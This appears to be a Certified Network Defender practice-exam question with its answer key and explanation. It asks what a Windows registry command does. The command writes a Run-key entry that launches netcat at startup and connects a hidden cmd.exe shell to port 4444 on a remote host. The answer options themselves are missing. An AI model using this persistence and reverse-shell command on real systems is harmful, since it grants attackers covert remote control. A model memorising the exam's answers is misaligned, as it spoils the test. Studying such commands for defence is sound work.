Certified Network Defender (CND) — Question 172

You run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command? Each correct answer represents a complete solution. Choose all that apply.

Answer options

Correct answer: C, B, D

Explanation

The command adds an entry to the Windows registry to ensure that Netcat runs at startup, which is why options C and D are correct. Option B is also correct because the '-d' flag in the command indicates that Netcat should run in stealth mode. Option A is incorrect as the command does not relate to banner grabbing.